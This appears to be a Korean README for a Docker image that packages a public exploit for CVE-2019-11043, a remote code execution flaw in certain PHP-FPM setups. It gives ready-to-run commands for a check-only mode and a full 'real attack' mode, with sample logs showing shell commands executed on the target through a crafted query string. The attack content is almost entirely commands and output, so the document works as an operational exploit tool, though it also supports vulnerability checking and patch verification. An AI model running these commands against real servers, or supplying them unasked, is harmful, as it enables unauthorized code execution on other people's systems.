CVE-2019-11043 확인용 Docker 이미지 및 명령어

• CVE: CVE-2019-11043
• 설명: PHP 7.1.x(7.1.33 미만), 7.2.x(7.2.24 미만), 7.3.x(7.3.11 미만) 버전의 특정 FPM 구성에서 FPM 모듈이 할당된 버퍼를 지나 FCGI 프로토콜 데이터용으로 예약된 공간에 쓰도록 만들어 원격 코드 실행이 가능해집니다.
• 상세 정보: https://nvd.nist.gov/vuln/detail/CVE-2019-11043
• Github 익스플로잇: https://github.com/neex/phuip-fpizdam

도움말

docker run --rm ypereirareis/cve-2019-11043
docker run --rm ypereirareis/cve-2019-11043 -h

웹사이트 또는 URL 확인

docker run --rm ypereirareis/cve-2019-11043 --only-qsl https://domain.tld/index.php

취약점 발견 결과 예시:

https://github.com/neex/phuip-fpizdam#playground-environment

확인 모드 전용

$ docker run --rm --net=host ypereirareis/cve-2019-11043 --only-qsl http://127.0.0.1:8080/script.php
2019/10/30 10:55:35 Base status code is 200
2019/10/30 10:55:35 Status code 502 for qsl=1765, adding as a candidate
2019/10/30 10:55:35 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2019/10/30 10:55:35 Detect() found QSLs and that's it

실제 공격 모드

$ docker run --rm --net=host ypereirareis/cve-2019-11043 http://127.0.0.1:8080/script.php 
2019/10/30 11:03:33 Base status code is 200
2019/10/30 11:03:33 Status code 502 for qsl=1765, adding as a candidate
2019/10/30 11:03:33 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2019/10/30 11:03:33 Attack params found: --qsl 1760 --pisos 55 --skip-detect
2019/10/30 11:03:33 Trying to set "session.auto_start=0"...
2019/10/30 11:03:33 Detect() returned attack params: --qsl 1760 --pisos 55 --skip-detect <-- REMEMBER THIS
2019/10/30 11:03:33 Performing attack using php.ini settings...
2019/10/30 11:03:33 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/30 11:03:33 Trying to cleanup /tmp/a...
2019/10/30 11:03:33 Done!

취약점 없음 결과 예시:

$ docker run --rm ypereirareis/cve-2019-11043 --only-qsl https://domain.tld/wp_admin.php
2019/10/28 09:41:30 Base status code is 200
2019/10/28 09:41:32 Detect() returned error: no qsl candidates found, invulnerable or something wrong

Docker 이미지 빌드

docker build -t ypereirareis/cve-2019-11043 .